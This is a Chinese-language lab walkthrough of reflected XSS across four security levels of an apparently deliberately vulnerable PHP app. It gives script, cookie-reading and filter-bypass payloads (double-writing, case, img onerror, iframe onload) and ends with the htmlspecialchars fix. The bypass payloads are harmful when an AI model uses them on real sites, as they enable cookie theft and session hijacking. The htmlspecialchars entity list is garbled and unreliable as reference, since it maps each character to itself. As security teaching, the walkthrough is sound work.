赞
踩
目录
反射型XSS攻击
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击) 恶意代码并没有保存在目标网站,由浏览器解析脚本。
源码:
-
- <?php
-
- header ("X-XSS-Protection: 0");
-
- // Is there any input?
- if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
- // Feedback for end user
- echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
- }
-
- ?>
代码采用get方式传入了name参数,没有做任何的过滤与检查,存在明显的XSS漏洞。
输入一个简单的语句测试一下:
<script>alert(1)</script>
有弹窗,即测试成功,按F12查看一下网页代码
可以看到我们在输出“Hello”之后成功注入了代码,原本这个地方应该是输入数据的,但是却变成运行代码了 ,从而达到黑客想要的目的,甚至是获取信息。
尝试一下直接获取cookie
<script>alert(document.cookie)</script>
-
- <?php
-
- header ("X-XSS-Protection: 0");
-
- // Is there any input?
- if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
- // Get input
- $name = str_replace( '<script>', '', $_GET[ 'name' ] );
-
- // Feedback for end user
- echo "<pre>Hello ${name}</pre>";
- }
-
- ?>
这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换为空,有多种方法可以进行绕过。
双写绕过
<sc<script>ript>alert(123)</script>
大小写绕过
<Script>alert(456)</script>
利用其他标签进行绕过
(1)img(图片插入法)
<img src=1 οnerrοr=alert('xss')>
(2) iframe
<iframe οnlοad=alert(123456)>
……
-
- <?php
-
- header ("X-XSS-Protection: 0");
-
- // Is there any input?
- if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
- // Get input
- $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
-
- // Feedback for end user
- echo "<pre>Hello ${name}</pre>";
- }
-
- ?>
preg_replace() 函数用于正则表达式的搜索和替换,这里凡是带script的都会被过滤,/i的意思是大小写通用,所以上述双写和大小写绕过都不行了,但利用其他的标签进行绕过依然可以成功。
-
- <?php
-
- // Is there any input?
- if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
- // Check Anti-CSRF token
- checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
-
- // Get input
- $name = htmlspecialchars( $_GET[ 'name' ] );
-
- // Feedback for end user
- echo "<pre>Hello ${name}</pre>";
- }
-
- // Generate Anti-CSRF token
- generateSessionToken();
-
- ?>
添加了 anti-token 防御机制,和htmlseecialchars函数来防御
htmlspecialchars()函数
htmlspecialchars函数的功能:
把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
完美的对我们输入的内容进行过滤,避免了XSS攻击。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。